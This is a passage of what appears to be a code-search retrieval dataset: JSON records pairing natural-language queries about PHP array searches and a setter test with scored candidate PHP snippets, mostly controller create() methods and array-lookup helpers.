"" }, { "docid": "13debeb6b2f841fc73faa59d5d4d47d7", "score": "0.6875949", "text": "public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }", "title": "" }, { "docid": "69dd4f50e962869ab773465a9b841e66", "score": "0.68739206", "text": "public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }", "title": "" }, { "docid": "4ddd90ea14473a86e2988865e2801155", "score": "0.68739134", "text": "public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }", "title": "" }, { "docid": "08b2184ad0a486ae1bab76e79b3a1b26", "score": "0.6870358", "text": "public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }", "title": "" }, { "docid": "9577fbd0ebc45d0dafabfda3c9643259", "score": "0.6869779", "text": "public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}", "title": "" }, { "docid": "bb9dd69a0a75abb92567d5f767841152", "score": "0.68696856", "text": "public function create()\n {\n return view('student::students.student.create');\n }", "title": "" }, { "docid": "7b07df9cfd457b02f48b76d7469d53e0", "score": "0.686877", "text": "public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}", "title": "" } ]
053db7a75554c518d9d1ca69b88c037c
Create a function that returns TRUE or FALSE if an array value is found.
[ { "docid": "beacc13e6a897682a5db863cc2e616d9", "score": "0.59374183", "text": "function search($person, $array){\n\t\t$key = array_search($person, $array);\n\t\t// echo \"\\$key is $key\\n\";\n\t\t//use is_numeric(), otherwise a key of zero will return false\n\t\tif(is_numeric($key)){\n\t\t\t// return 'TRUE';\n\t\t\treturn $key;\n\t\t} else {\n\t\t\t// return 'FALSE';\n\t\t\treturn;\n\t\t}\n\t}", "title": "" } ]
[ { "docid": "9c5fb6222caca02b072acd01920ca476", "score": "0.72768587", "text": "function look_for($name, $array) {\n\n\t$found = is_int(array_search($name, $array));\n\n\t// if ($found === True) {\n\t// \t\techo 'True' .\" \\n\";\n\t// }\n\n\t// else {\n\t// \t\techo 'False' .\" \\n\";\n\t\n\t return $found;\n\t\n}", "title": "" }, { "docid": "0c878a9a222f8c8dd424e5c0d47902f5", "score": "0.70388025", "text": "function contains(array $arr, $key) {\n return array_key_exists($key, $arr);\n}", "title": "" }, { "docid": "1df2d437d413ea542910be63ca1399bb", "score": "0.6927552", "text": "public function in_Array() {\n $Values = func_get_args();\n $Array = array();\n if (is_array($Values[0])) {\n $Array = $Values[0];\n } else {\n return null;\n }\n $Need = array_slice($Values, 1);\n $CountNeed = count($Need);\n $EleInt = 0;\n foreach ($Need as $element) {\n if (array_key_exists($element, $Array)) {\n $EleInt++;\n if ($EleInt == $CountNeed) {\n return true;\n }\n }\n }\n return false;\n }", "title": "" }, { "docid": "cfdd2f2146b356486b5fc5bb3e1b7d3c", "score": "0.6892673", "text": "function exists($key, $array = array(), $default = null) {\n\t$return_value = $default;\n\tif(true == is_array($array) && true == array_key_exists($key, $array)) {\n\t\t$return_value = $array[$key];\n\t}\n\treturn $return_value;\n}", "title": "" }, { "docid": "d3456282ad31cb0a1448812b871b0040", "score": "0.68785477", "text": "function myInArray($array, $value, $key){\n\tforeach ($array as $val) {\n\t\t//if $val is an array cal myInArray again with $val as array input\n\t\tif(is_array($val)){\n\t\t\tif(myInArray($val,$value,$key))\n\t\t\t\treturn true;\n\t\t} else {\n\t\t\t//else check if the given key has $value as value\n\t\t\tif($array[$key]==$value) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t}\n\treturn false;\n}", "title": "" }, { "docid": "52c1a6ef2fa00ec9c02b321db87fa34b", "score": "0.68314993", "text": "function any(array $array) {\n foreach ($array as $item) if ($item) return true;\n return false;\n}", "title": "" }, { "docid": "e4415cc18ddfcf0c135ba8dc93eba388", "score": "0.6816729", "text": "function inMyArray($array, $search)\n\t{\n\t foreach($array as $value)\n\t{\n\tif(is_array($value))\n\t{\n\t if(inMyArray($value, $search))\n\t {\n\t return(TRUE);\n\t }\n\t}\n\telseif($value == $search)\n\t {\n\t return(TRUE);\n\t }\n\t}\n\treturn(FALSE);\n\t}", "title": "" }, { "docid": "2982c3b479dcbfcfa17ef8164e8f7792", "score": "0.67878395", "text": "function array_has($array, $key)\n {\n return Arr::has($array, $key);\n }", "title": "" }, { "docid": "bb0860845f51c5aa73b687b1a39e9f1a", "score": "0.67812353", "text": "function array_key_exists($key, $search) {}", "title": "" }, { "docid": "67425cc18c8218a6ba1eafa35b385a00", "score": "0.6747421", "text": "function trueFalse ($name, $array)\n{\n\t// Assign the returned data from array search to a variable\n\t$result = array_search($name, $array);\n \t// var_dump($result);\n \tif ($result === False)\n \t{\n \t\treturn 'False';\n \t} else\n \t{\n \t\treturn 'True';\n \t}\n}", "title": "" }, { "docid": "9e665397335144ca098d36cbd46023c3", "score": "0.67415833", "text": "public function testValueInArray()\n {\n $array = array('Dogs' => 3, 'Cats' => 10);\n $bool = ArrayValidator::valueExists($array, '3');\n $this->assertTrue($bool);\n }", "title": "" }, { "docid": "18a1c1e36b76ffde0d57c8464ece4e60", "score": "0.6717772", "text": "function checkArrayKeyExistsAndHasAValue($array, $key, $key_value)\r\n{\r\n if (checkKeyExists($array, $key)) {\r\n return ($array[$key] == $key_value);\r\n }\r\n \r\n return false;\r\n}", "title": "" }, { "docid": "309fe3b668a6b225543025f2254cf70e", "score": "0.6696104", "text": "function any($array, $predicate) {\n foreach ($array as $value) {\n if($predicate($value)) {\n return true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "5f625f6ad3fceccd353de15430ed01ca", "score": "0.6680395", "text": "public function check($_array, $_key): bool\r\n {}", "title": "" }, { "docid": "07ca0b6ea78367b4776444eba271f312", "score": "0.66188484", "text": "public static function searchArray($value,$array,$return_index=0)\n\t{\n\t\t$index = self::recursive_array_search($value,$array);\n\n\t\tif($index !== false && isset($array[$index][$return_index]) && !empty($array[$index][$return_index])){\n\t\t\treturn $array[$index][$return_index];\n\t\t}\n\n\t\treturn false;\n\t}", "title": "" }, { "docid": "03329bda69a16d4473fb41f78187887d", "score": "0.65862703", "text": "function Search($value, $array) \n{ \n return(array_search($value, $array,false)); \n}", "title": "" }, { "docid": "1257719aade20690a8f50beccd76bc7f", "score": "0.653135", "text": "function array_key_exists_check($key, $haystack)\n{\n if (is_array($haystack)) {\n if (array_key_exists($key, $haystack)) {\n return $haystack[$key];\n }\n }\n return false;\n}", "title": "" }, { "docid": "c6861ec8e4d93ca1a62b5cabe6164388", "score": "0.65307236", "text": "private function search_array($array, $value)\n {\n if (is_array($array)) {\n foreach ($array as $key) {\n if ($value == $key || strpos($value, $key) == 0) {\n return true;\n }\n }\n }\n return false;\n }", "title": "" }, { "docid": "0b06bc568de495ac4b799bb830f77b90", "score": "0.6470702", "text": "private function arrTest($value)\n {\n return (($this->nullTest($value) === false) && is_array($value));\n }", "title": "" }, { "docid": "4c82c5b91138af134975816bdacacfd2", "score": "0.6468942", "text": "function verify_key($key, $array) {\n return array_key_exists($key,$array);\n }", "title": "" }, { "docid": "109e6c5f6d6ffa10b44ac9e7782d443d", "score": "0.6461335", "text": "public static function search($arr, $field, $value) {\n return !empty(static::filter($arr, $field, $value)) ? true : false;\n }", "title": "" }, { "docid": "f898272614b2a972dada260fa52c9672", "score": "0.64544827", "text": "public function has()\n\t{\n\t\t$args = func_get_args();\n\t\t$array = $args[0];\n\t\t$search_key = $args[1];\n\t\t$isValid = false;\n\t\t//If search value founds, to stop the iteration using try catch method for faster approach\n\t\ttry {\n\t\t\t array_walk_recursive($array, function(&$value, &$key) use(&$search_key){\n\t \t\tif($search_key == $key){\n\t \t\t\t$isThere = true;\t\n\t \t\t}\t\t \t\n\t\t \t// If Value Exists\n\t\t if ($isThere) {\n\t\t throw new Exception;\n\t\t } \n\t\t });\n\t\t }\n\t\t catch(Exception $exception) {\n\t\t\t $isValid = true;\n\t\t }\n\t return $isValid;\t \t\n\t}", "title": "" }, { "docid": "b33d8de24aec14e5db644c9a750e659e", "score": "0.64513564", "text": "function some($callback, array $arr) {\n foreach ($arr as $element) {\n if ($callback($element)) {\n return TRUE;\n }\n }\n return FALSE;\n}", "title": "" }, { "docid": "dd3f958f77636f458538b4d1ce816a72", "score": "0.64435333", "text": "function in_multi_array($value, $array)\n{ \n foreach ($array as $key => $item)\n { \n // Item is not an array\n if (!is_array($item))\n {\n // Is this item our value?\n if ($item == $value) return true;\n }\n \n // Item is an array\n else\n {\n // See if the array name matches our value\n //if ($key == $value) return true;\n \n // See if this array matches our value\n if (in_array($value, $item)) return true;\n \n // Search this array\n else if (in_multi_array($value, $item)) return true;\n }\n }\n \n // Couldn't find the value in array\n return false;\n}", "title": "" }, { "docid": "2abfaae8d067d3e3bb4a1c2c37451136", "score": "0.64364666", "text": "function is_key_value_exists_in_array($searchlabel, $searchval, $array){\n foreach ($array as $key => $val) {\n if ($val[$searchlabel] === $searchval) {\n return TRUE;\n }\n }\n return FALSE;\n }", "title": "" }, { "docid": "19626d9a4a64ddf4fb8b226ea4324e80", "score": "0.64051795", "text": "function in_multi_array($value, $array)\n\t{\n\t\tforeach ($array as $key => $item)\n\t\t{\n\t\t\t// Item is not an array\n\t\t\tif (!is_array($item))\n\t\t\t{\n\t\t\t\t// Is this item our value?\n\t\t\t\tif ($item == $value) return TRUE;\n\t\t\t}\n\n\t\t\t// Item is an array\n\t\t\telse\n\t\t\t{\n\t\t\t\t// See if the array name matches our value\n\t\t\t\t//if ($key == $value) return true;\n\n\t\t\t\t// See if this array matches our value\n\t\t\t\tif (in_array($value, $item)) return TRUE;\n\n\t\t\t\t// Search this array\n\t\t\t\telse if ($this->in_multi_array($value, $item)) return TRUE;\n\t\t\t}\n\t\t}\n\n\t\t// Couldn't find the value in array\n\t\treturn FALSE;\n\t}", "title": "" }, { "docid": "99aa634c8adf839a9d0d588051f6fb42", "score": "0.6404473", "text": "function in_array($needle, $haystack, $strict = null) {}", "title": "" }, { "docid": "fc044dfa9a42b79ae278fd8a7529e943", "score": "0.63949645", "text": "public function Contains($value) {\n foreach ($this->Array as $item) {\n if ($value === $item)\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "57913ec76b74d47ec408fffb533ed805", "score": "0.6359308", "text": "function serach_my_array($array,$string){\n // return true when find match\n if(in_array($string, $array)){\n print(\"found match\");\n } else {\n print(\"No match\");\n }\n }", "title": "" }, { "docid": "d8a3316178c1dbf0b55ddacca09d3949", "score": "0.6356795", "text": "function enArray($valor,$array){\n\tforeach(array_keys($array) as $n){\n\t\tif(siExiste($n,$valor) && !$ok){\n\t\t\t$ok = true;\n\t\t\t$find = $n;\n\t\t\tbreak;\n\t\t}else{$find = false;}\t\n\t}\n\treturn $find;\n}", "title": "" }, { "docid": "b27777fa9656df91401dc013f26f64a9", "score": "0.63298655", "text": "public function exists($value);", "title": "" }, { "docid": "241899b6838643a95fa46e7be65fa08c", "score": "0.63076115", "text": "function search_array($value, &$array) {\n for ($i = 0; $i < sizeof($array); $i++) {\n if (bccomp(floatval($value), floatval($array[$i]), 1) === 0) { \n return $i;\n }\n }\n return false;\n }", "title": "" }, { "docid": "77af357406df24924ccf67adf5c521c0", "score": "0.630298", "text": "function twe_in_array($value, $array) {\n if (!$array) $array = array();\n\n if (function_exists('in_array')) {\n if (is_array($value)) {\n for ($i=0; $i<sizeof($value); $i++) {\n if (in_array($value[$i], $array)) return true;\n }\n return false;\n } else {\n return in_array($value, $array);\n }\n } else {\n reset($array);\n while (list(,$key_value) = each($array)) {\n if (is_array($value)) {\n for ($i=0; $i<sizeof($value); $i++) {\n if ($key_value == $value[$i]) return true;\n }\n return false;\n } else {\n if ($key_value == $value) return true;\n }\n }\n }\n\n return false;\n }", "title": "" }, { "docid": "f1e79f41430ff967bf9054a2c52675fc", "score": "0.6260622", "text": "function valueExists($key);", "title": "" }, { "docid": "fcb7b5e05f25473e575e57d2c7cdad4e", "score": "0.6259161", "text": "public function hasItem($array, $key)\n {\n if (array_key_exists($key, $array)) {\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "083a1c7bdb1c310a3261cbd220c80510", "score": "0.62431365", "text": "function array_find_val($array, $iterator)\n\t{\n\t\tforeach( $array as $k => $v )\n\t\t{\n\t\t\tif( $iterator($v,$k) )\n\t\t\t{\n\t\t\t\treturn $v;\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}", "title": "" }, { "docid": "518f1a3527d3a2409963c944f9dbc945", "score": "0.62430835", "text": "function checked_array($array, $value){\n\tif(in_array($value, $array) ){\n\t\techo 'checked';\n\t}\n}", "title": "" }, { "docid": "6f115a9239df4861135db4d6f1779bd2", "score": "0.6222142", "text": "private function isTrueArray($array) {\n if (is_array($array) && isset($array) && count($array)) {\n return TRUE;\n } else {\n return FALSE;\n }\n }", "title": "" }, { "docid": "e3620618224ba47cd4aa3d36c4e49171", "score": "0.6208927", "text": "function isInArray($arr, $key) {\n $exists = false;\n \n if (array_key_exists($key, $arr) && ! is_null($arr[$key]) && $arr[$key] !== \"\") {\n $exists = true;\n }\n \n return $exists;\n}", "title": "" }, { "docid": "dcecfa8f30d512bb3118769d2a4a0a17", "score": "0.6188452", "text": "function valid_array($array='') {\r\n\t$status = '';\r\n\tif (is_array($array) == true and count($array) > 0) {\r\n\t\t$status = true;\r\n\t} else {\r\n\t\t$status = false;\r\n\t}\r\n\treturn $status;\r\n}", "title": "" }, { "docid": "e525975fb3d4101f57730efb59b82d91", "score": "0.6183831", "text": "public function _find_key_value($array,$key,$val) {\n foreach ($array as $item) {\n if (is_array($item) && $this->_find_key_value($item,$key,$val)) {\n return true;\n }\n if (isset($item[$key]) && $item[$key]==$val) {\n return true;\n }\n }\n return false;\n }", "title": "" }, { "docid": "90d4d0ac44e48100d30af8e58d618a18", "score": "0.6171776", "text": "function array_find($array, callable $callback, $default = null)\n{\n if (!is_array($array)) {\n return $default;\n }\n foreach ($array as $key => $value) {\n $result = $callback($value, $key);\n if ($result) {\n return $result;\n }\n }\n\n return $default;\n}", "title": "" }, { "docid": "ffbb93dbb7ff1482087bd942c4cf43b1", "score": "0.61549026", "text": "function array_usearch($callback, $needle, $haystack, $strict = false) {\n // loop through the array\n foreach ($haystack as $key => $value) {\n if (!$strict && $callback($value) == $needle ||\n $strict && $callback($value) === $needle) return $key;\n }\n // not found\n return false;\n}", "title": "" }, { "docid": "c83cbf1ff5b3d415114c092cd03f2cfe", "score": "0.6145506", "text": "function arr_val_exists( $params, $node ){\n global $FUNCS;\n if( count($node->children) ) {die(\"ERROR: Tag \\\"\".$node->name.\"\\\" is a self closing tag\");}\n\n extract( $FUNCS->get_named_vars(\n array( 'val'=>'',\n 'in'=>'',\n ),\n $params)\n );\n\n return ( is_array($in) && in_array($val, $in) ) ? '1' : '0';\n }", "title": "" }, { "docid": "fd2715cdc1b8db7401b9fc67c4a47f3e", "score": "0.6137061", "text": "function check_array($value,$array){\r\n\t$bool = false;\r\n\tforeach($array as $data){\r\n\t\tforeach($data as $key => $val){\r\n\t\t\tif($key ==\"contenthash\"){\r\n\t\t\t\tif($val == $value){\r\n\t\t\t\t\t$bool = true;\r\n\t\t\t\t}\r\n\t\t\t} \r\n\t\t}\r\n\t}\r\n\treturn $bool;\r\n}", "title": "" }, { "docid": "425d4cfdd8217f747c8639854e4b3847", "score": "0.61364484", "text": "function check_array($p_array){\n\t\tif(is_array($p_array) and sizeof($p_array)>0){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "7189d61f23d7ff877ed2209767ad9eae", "score": "0.61337733", "text": "public function offsetExists($offset)\n {\n return array_key_exists($offset, $this->arrayed);\n }", "title": "" }, { "docid": "7f127b17087ae68475dc4b0fde9d7249", "score": "0.6118205", "text": "public static function contains(array $array, string $value): bool\n {\n return in_array($value, $array, true);\n }", "title": "" }, { "docid": "86997000356a10f7fa558ef215a9f31d", "score": "0.6111731", "text": "function checkKeyExists($array, $key)\r\n{\r\n return isset($array[$key]);\r\n}", "title": "" }, { "docid": "c15e533a540d041c8f8b92b4c6dedba7", "score": "0.6080359", "text": "public function offsetExists ($offset);", "title": "" }, { "docid": "289aa5377a243e80740395fafbc0c401", "score": "0.6069279", "text": "function checkArray($array) \r\n{\r\n if (is_array($array)) {\r\n if (count($array) > 0) {\r\n return true;\r\n }\r\n }\r\n return false;\r\n}", "title": "" }, { "docid": "bfc8bf9f91493f31de5e8bda75a655a9", "score": "0.60672873", "text": "public function has(array $array, $key)\n {\n return array_key_exists($key, $array);\n }", "title": "" }, { "docid": "f967f2202b7c8c71562162c0f08ce94c", "score": "0.6065592", "text": "function check_array ($needle, $haystack, $field = 'name') {\n for ($countr = 0; $countr < count($haystack); $countr++) {\n\n // If found, return true\n if ($haystack[$countr][$field] == $needle) {\n return true;\n }\n }\n \n return false;\n }", "title": "" }, { "docid": "2ff315990bd27b2353b422993e9c63fb", "score": "0.60616064", "text": "public static function exists($array, $key)\r\n\t{\r\n\t if (isset($array[$key]))\r\n\t {\r\n\t return true;\r\n\t }\r\n\t\r\n\t foreach (explode('.', $key) as $segment)\r\n\t {\r\n\t if ( !is_array($array) || !array_key_exists($segment, $array))\r\n\t {\r\n\t return false;\r\n\t }\r\n\t\r\n\t $array = $array[$segment];\r\n\t }\r\n\t\r\n\t return true;\r\n\t}", "title": "" }, { "docid": "e7754fc6993a403a81003f7edc8430de", "score": "0.60612893", "text": "private function KeyExists(array $array, $key) {\n // is in base array?\n if (array_key_exists($key, $array)) {\n return TRUE;\n }\n // check arrays contained in this array\n foreach ($array as $element) {\n if (is_array($element)) {\n if ($this->KeyExists($element, $key)) {\n return TRUE;\n }\n }\n }\n return FALSE;\n }", "title": "" }, { "docid": "6a1f9520f05a43bc074903e6bf8ccbc7", "score": "0.6061151", "text": "public function offsetExists($offset)\n {\n return static::has($this->array, $offset);\n }", "title": "" }, { "docid": "f11d2abe28f09eaff3805b73ab6d3d88", "score": "0.6060249", "text": "public function offsetExists($offset) {\n\t\treturn isset($this->array[$offset]);\n\t}", "title": "" }, { "docid": "58caf92d72c5865e766a74c348114b7d", "score": "0.60601765", "text": "public function offsetExists($offset);", "title": "" }, { "docid": "78f7363b2a25766919b4ca59b55160a0", "score": "0.6059401", "text": "function ruleInArray(string $rule, array $rulesArray) : bool\n{\n return in_array($rule, $rulesArray);\n}", "title": "" }, { "docid": "7907e0abf89a1acf0462a9afee8f3cea", "score": "0.60571766", "text": "public function in_array_by_key( $value, $key, $array, $strict = false )\n\t{ \n\t\tif( $strict )\n\t\t{\n\t\t\tforeach( $array as $item )\n\t\t\t{\n\t\t\t\tif( isset($item[$key]) && $item[$key] === $value ) return true;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tforeach( $array as $item )\n\t\t\t{\n\t\t\t\tif( isset($item[$key]) && $item[$key] == $value ) return true; \n\t\t\t}\n\t\t}\n\t\t\n\t\treturn false; \n\t}", "title": "" }, { "docid": "2424b5882abe71ffec0c747498509cab", "score": "0.6053799", "text": "function array_search($needle, $haystack, $strict = null) {}", "title": "" }, { "docid": "0a5b82f62bac5c3631d40790279c6c09", "score": "0.6045415", "text": "public function exists(array $values): bool;", "title": "" }, { "docid": "d3c5cba2450eef5f0b98cf836fb02b83", "score": "0.60438406", "text": "public function offsetExists($offset)\n {\n return array_key_exists($offset, $this->array);\n }", "title": "" }, { "docid": "f256c817866f0100c32fda49cce9048c", "score": "0.60389453", "text": "private function arrayKeyExists($array, $path)\n {\n $keyArray = explode('.', $path);\n if (count($keyArray) > 0) {\n for ($i = 0; $i < count($keyArray); $i++) {\n if (is_null($array) || !array_key_exists($keyArray[$i], $array)) {\n return false;\n }\n $array = $array[$keyArray[$i]];\n }\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "fc69f0cd124d1b6864575b095ebc74e8", "score": "0.6026254", "text": "function is_array($var) {}", "title": "" }, { "docid": "e2d686115c2a354261114b45bf332746", "score": "0.6023312", "text": "public function offsetExists($offset)\n {\n return array_key_exists($offset, $this->value);\n }", "title": "" }, { "docid": "18ef4f3a996a9d4c2c8fe3af7744326e", "score": "0.60009265", "text": "public function offsetExists($offset) {\n return key_exists($offset, $this->array);\n }", "title": "" }, { "docid": "d0845ed985e576c6ca75b4d0463430f1", "score": "0.6000796", "text": "public function Exists($name){return array_key_exists($name, $this->values);}", "title": "" }, { "docid": "c4dc890c3ba9b30c1a63bd186ba95da6", "score": "0.597223", "text": "public function some(iterable $array, callable $callback): bool\n {\n foreach ($array as $key => $value) {\n if ($callback($value, $key)) {\n return true;\n }\n }\n return false;\n }", "title": "" }, { "docid": "fe3047868898a6e300caef00bba1fbe6", "score": "0.5967186", "text": "public static function has($array, $key)\n {\n // Generate unique string to use as marker\n $unfound = StringMethods::random(5);\n\n return static::get($array, $key, $unfound) !== $unfound;\n }", "title": "" }, { "docid": "f4618f29daa2f79cbe6b9cd0186e06df", "score": "0.5959194", "text": "public function isExist($value=null,$array=null)\n\t{\n\t\t$i=0;\n\t\t$flag=0;\n\t\t$value=strtolower($value);\n\t\t$keyNames = array_keys($array);\n\t\tforeach ($keyNames as $key){\n\t\t\tif($array[$key]==$value || $array[$key]==null ){\n\t\t\t\t$flag=1;\n\t\t\t\t$data[$i++] = $this->_msg['select'].' \"<b>'.$key.'</b>\"';}}\n\t\tif($flag==1)\n\t\t\treturn $data;\n\t\telse\n\t\t\treturn null;\n\t}", "title": "" }, { "docid": "57fe901fe4f62496afa2b94bff61e6e3", "score": "0.59560466", "text": "public function offsetExists($key);", "title": "" }, { "docid": "90914621276522ed836568f21015c119", "score": "0.5940074", "text": "public function offsetExists($offset): bool\n\t{\n\t\treturn isset($this->values[$offset]) || array_key_exists($offset, $this->values);\n\t}", "title": "" }, { "docid": "2f2846d28e4f844d28036d6a08d6b146", "score": "0.5937567", "text": "function any_in_array($needle, $haystack)\n{\n $needle = is_array($needle) ? $needle : [$needle];\n\n foreach ($needle as $item) {\n if (in_array($item, $haystack, true)) {\n return true;\n }\n }\n\n return false;\n}", "title": "" }, { "docid": "93a9bacbe03e13ce8bd96f76e31e74aa", "score": "0.59272677", "text": "function in_array_php3($str,$dest) { \n while (list($a,$b)=each($dest)) { \n if ($str==$b) {\n\t\t $existe = 1;\n return $existe; \n break; \n } \n } \n}", "title": "" }, { "docid": "b8ab1421be092024ed6ed64c8c9deff0", "score": "0.59183633", "text": "public abstract function offsetExists($offset);", "title": "" }, { "docid": "d8ec33f3422f831808b72c23accd4b0a", "score": "0.59051347", "text": "function any_in_array($needle, $haystack) {\n $needle = is_array($needle) ? $needle : array($needle);\n\n foreach ($needle as $item) {\n if (in_array($item, $haystack)) {\n return TRUE;\n }\n }\n\n return FALSE;\n}", "title": "" }, { "docid": "9bbe3ef27a8ae93eaa4524da22929819", "score": "0.59049004", "text": "public function offsetExists($offset)\n {\n return isset($this->arr[$offset]);\n }", "title": "" }, { "docid": "d3870f35e0f157a4add94e25e6c5c937", "score": "0.59023005", "text": "public function offsetExists($offset)\n {\n return isset($this->data[$offset])?true:false;\n }", "title": "" }, { "docid": "5142ca4b7c543ce6615db1fa4f7e72fd", "score": "0.5901004", "text": "public function offsetExists($offset): bool\n\t{\n\t\treturn $this->fixedArray->offsetExists($offset);\n\t}", "title": "" }, { "docid": "4de670e0dad68f0ff6c6e316d1a95248", "score": "0.58958983", "text": "function itemExists($array)\n {\n //echo count($_result['Item']);\n if(count($array['Item']) == 0){\n return FALSE;\n }\n else {\n return TRUE;\n }\n }", "title": "" }, { "docid": "20cb1e2989d26b94d5ab703d1c196f79", "score": "0.5892826", "text": "function is_keys_values_exists_in_array($search_label_one, $search_val_one, $search_label_two, $search_val_two, $array){\n $found = FALSE;\n foreach ($array as $row) {\n if ((strtolower(trim($row[$search_label_one])) === strtolower(trim($search_val_one))) && (strtolower(trim($row[$search_label_two])) === strtolower(trim($search_val_two)))) {\n $found = TRUE; break;\n }\n }\n return $found;\n }", "title": "" }, { "docid": "8e82848ab658dab601202b04116ee253", "score": "0.58919626", "text": "function existsOrDefault($key, $array, $default = \"???\") {\n if (isset($array[$key])) {\n return $array[$key];\n }\n else {\n return $default;\n }\n}", "title": "" }, { "docid": "1928778bcf13a8f79c666e43e396caff", "score": "0.5889212", "text": "function search($array, $value) {\n\t\tif (is_object($value)) {\n\t\t\treturn Arrays::_searchObject($array, $value);\n\t\t} else {\n\t\t\t$search = array_search($value, $array);\n\t\t\tif ($search === false or is_null($search)) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\treturn $search;\n\t\t}\n\t}", "title": "" }, { "docid": "35139e34984ac024b90ca72b5b5e2d76", "score": "0.5887905", "text": "function is_employee_exists_with_payroll_company_in_array($employee_no_key, $employee_no, $payroll_no_key, $payroll_no, $company_key, $company, $array){\n $found = FALSE;\n foreach ($array as $row) {\n if ((strtolower(trim($row[$employee_no_key])) === strtolower(trim($employee_no))) && (strtolower(trim($row[$payroll_no_key])) === strtolower(trim($payroll_no))) && (strtolower(trim($row[$company_key])) === strtolower(trim($company)))) {\n $found = TRUE; break;\n }\n }\n return $found;\n }", "title": "" }, { "docid": "a16539297315725c500880e8ca1b385b", "score": "0.5877873", "text": "public function hasValue($value);", "title": "" }, { "docid": "cf1e20ddf7f19da4bf58cc4697f4ab6a", "score": "0.58734876", "text": "public function has($value);", "title": "" }, { "docid": "5e3173e8b81326ba8e60d31870257a78", "score": "0.58698833", "text": "#[TentativeType]\n public function offsetExists(#[LanguageLevelTypeAware(['8.0' => 'mixed'], default: '')] $key): bool {}", "title": "" }, { "docid": "5e3173e8b81326ba8e60d31870257a78", "score": "0.58698833", "text": "#[TentativeType]\n public function offsetExists(#[LanguageLevelTypeAware(['8.0' => 'mixed'], default: '')] $key): bool {}", "title": "" }, { "docid": "6beb1a03ef7b14b80ef776e63f12a9e8", "score": "0.5863439", "text": "private function hasValue ($array) {\n\t\t// array: an array of items, each containing value and code items\n\t\treturn ($array['values'] != null && !empty($array['values']));\n\t\t}", "title": "" }, { "docid": "cab309e59811ce0701e3a2cce99b9df7", "score": "0.5858842", "text": "function check_in_array($v, $a) {\r\n \r\n $array = explode(',', $a);\r\n \r\n //cek apakah value berbentuk array\r\n if (in_array($v, $array)) {\r\n return 'ada';\r\n } \r\n else {\r\n return 'kosong';\r\n }\r\n}", "title": "" }, { "docid": "b0ed9aef6a2f5479918edca1a75343f0", "score": "0.58510774", "text": "public function offsetExists($offset) {\n\t\treturn array_key_exists($offset, $this->_data);\n\t}", "title": "" }, { "docid": "61ffe31f356d6dfadd477a19b0134dbd", "score": "0.58476514", "text": "function offsetExists ($offset)\n\t{\n\t\treturn $this->__isset($offset);\n\t}", "title": "" }, { "docid": "d4ead6f83007e111174d9cebee0b33e1", "score": "0.58464956", "text": "public function offsetExists($offset)\n {\n return isset($this->value[$offset]);\n }", "title": "" }, { "docid": "d4ead6f83007e111174d9cebee0b33e1", "score": "0.58464956", "text": "public function offsetExists($offset)\n {\n return isset($this->value[$offset]);\n }", "title": "" }, { "docid": "c62289c3279dffdcb5a5f47dd2e85973", "score": "0.5840661", "text": "function md_array_search($needle, $haystack)\n{\n\tif (empty($needle) || empty($haystack))\n\t{\n\t\treturn false;\n\t}\n\n\tforeach ($haystack as $key => $value)\n\t{\n\t\tif(is_array($value))\n\t\t{\n\t\t\tif(md_array_search($needle, $value))\n\t\t\t\treturn true;\n\t\t}\n\t\telseif ($value == $needle)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}", "title": "" }, { "docid": "b79900798fb73360f3ef24631ac418c7", "score": "0.58381945", "text": "public function offsetExists($offset)\n\t{\n\t\treturn array_key_exists($offset, $this->data);\n\t}", "title": "" }, { "docid": "1a2ba82c90ac71d10bb59ef75f7e5b58", "score": "0.58333504", "text": "public function offsetExists($offset)\n {\n return in_array($offset, $this->elements);\n }", "title": "" }, { "docid": "e27f8434db856b33bb8fa3e813dabb90", "score": "0.5817091", "text": "public function testKeyInArray()\n {\n $array = array('Dogs' => 3, 'Cats' => 10);\n $bool = ArrayValidator::keyExists($array, 'Dogs');\n $this->assertTrue($bool);\n }", "title": "" }, { "docid": "581d316021aaf162251e52bab13173c5", "score": "0.58170533", "text": "function valid_keys($value, $response_array, $constant_array)\n {\n // Enter the parameter and acquire the key - FALSE if empty\n if (empty($value))\n {\n return false;\n }\n else\n {\n $key = array_search($value, $response_array);\n if (in_array($key, $constant_array))\n {\n return true;\n }\n else\n {\n return false;\n }\n }\n }", "title": "" } ]
e122221227e05c3dbbeacaa347ba44a8
Tests the setCodePaysIsoNaiss() method.
[ { "docid": "9aece205d175c32bee546168fbcfab24", "score": "0.83859277", "text": "public function testSetCodePaysIsoNaiss() {\n\n $obj = new Intervenants();\n\n $obj->setCodePaysIsoNaiss(\"codePaysIsoNaiss\");\n $this->assertEquals(\"codePaysIsoNaiss\", $obj->getCodePaysIsoNaiss());\n }", "title": "" } ]
